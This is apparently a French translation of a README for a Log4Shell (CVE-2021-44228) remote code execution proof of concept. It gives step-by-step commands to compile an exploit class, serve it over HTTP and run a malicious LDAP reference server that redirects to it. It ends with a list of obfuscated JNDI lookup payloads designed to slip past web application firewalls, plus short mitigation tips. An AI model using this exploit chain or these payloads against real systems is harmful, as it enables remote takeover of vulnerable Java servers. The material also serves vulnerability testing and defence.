
Cet exploit RCE Log4j provient de https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
La version 1.x présente d'autres vulnérabilités, il est recommandé de mettre à jour vers la dernière version.
Avis de sécurité / Bulletins liés à Log4Shell (CVE-2021-44228)
Téléchargez ce projet, compilez le code d'exploitation blob/master/src/main/java/Exploit.java, et démarrez un serveur web pour permettre le téléchargement du binaire compilé.
git clone https://github.com/roxas-tan/CVE-2021-44228.git
cd CVE-2021-44228
javac Exploit.java
# start webserver
# For Python2
python -m SimpleHTTPServer 8888
# For Python3
python3 -m http.server 8888
# make sure the python webserver is running in the same directory as Exploit.class, to test
curl -I 127.0.0.1:8888/Exploit.class
Téléchargez un autre projet et exécutez l'implémentation du serveur LDAP renvoyant des références JNDI* https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
# Java 8 required
mvn clean package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Compilez et exécutez le code d'activation (simule une attaque log4j sur un serveur web java vulnérable) blob/master/src/main/java/log4j.java, et votre application de calculatrice apparaîtra.
cd CVE-2021-44228
mvn clean package
java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
# Expect the following
# 1. calculator app appears
# 2. in ldapserver console,
# Send LDAP reference result for Exploit redirecting to http://127.0.0.1:8888/Exploit.class
# 3. in webserver console,
# 127.0.0.1 - - [....] "GET /Exploit.class HTTP/1.1" 200 -
Conseils :
Ne comptez pas sur une version actuelle de Java pour vous sauver. Mettez à jour Log4 (ou supprimez la recherche JNDI). Désactivez l'expansion (cela semble de toute façon une très mauvaise idée).
Par exemple :
${jndi:ldap://127.0.0.1:1389/ badClassName}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
Ne faites pas confiance au pare-feu applicatif web.
Les recherches (Lookups) offrent un moyen d'ajouter des valeurs à la configuration Log4j à des endroits arbitraires.
Les méthodes pour provoquer une fuite dans finally
LogManager.getLogger().error()
LogManager.getLogger().fatal()